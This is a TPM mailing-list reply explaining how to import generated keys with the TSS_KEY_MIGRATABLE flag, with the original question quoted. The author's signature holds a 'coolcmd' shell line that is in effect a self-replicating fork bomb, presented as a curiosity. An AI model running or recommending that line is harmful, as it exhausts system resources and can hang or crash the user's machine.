Here's some code that adds key importing functionality to my project: https://github.com/ThomasHabets/simple-tpm-pk11/commit/82b9aac9d11d4625ec5a64f98d73be8bb62dde9c
It imports newly generated keys, not PEM format ones though. Make sure you set the TSS_KEY_MIGRATABLE flag, since that seems to be required even to just import keys. :-( On 2 January 2014 01:15, adrian golding <[email protected]> wrote: > without using tpm_tools / trousers? i know this is not directly related to > trousers but i guess this list probably has the people who knows trousers / > tpm_tools inside out. > > i'm working on an embedded TPM project so i have to import an RSA public key > in the form of a PEM file into the TPM by writing my own TPM commands, can > someone tell me what TPM commands are required? TPM_CreateWrapKey() doesn't > seem to accept externally generated keys. > > a million thanks! > > ------------------------------------------------------------------------------ > Rapidly troubleshoot problems before they affect your business. Most IT > organizations don't have a clear picture of how application performance > affects their revenue. With AppDynamics, you get 100% visibility into your > Java,.NET, & PHP application. Start your 15-day FREE TRIAL of AppDynamics > Pro! > http://pubads.g.doubleclick.net/gampad/clk?id=84349831&iu=/4140/ostg.clktrk > _______________________________________________ > TrouSerS-users mailing list > [email protected] > https://lists.sourceforge.net/lists/listinfo/trousers-users > -- typedef struct me_s { char name[] = { "Thomas Habets" }; char email[] = { "[email protected]" }; char kernel[] = { "Linux" }; char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" }; char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; } me_t; ------------------------------------------------------------------------------ Rapidly troubleshoot problems before they affect your business. Most IT organizations don't have a clear picture of how application performance affects their revenue. With AppDynamics, you get 100% visibility into your Java,.NET, & PHP application. Start your 15-day FREE TRIAL of AppDynamics Pro! http://pubads.g.doubleclick.net/gampad/clk?id=84349831&iu=/4140/ostg.clktrk _______________________________________________ TrouSerS-users mailing list [email protected] https://lists.sourceforge.net/lists/listinfo/trousers-users
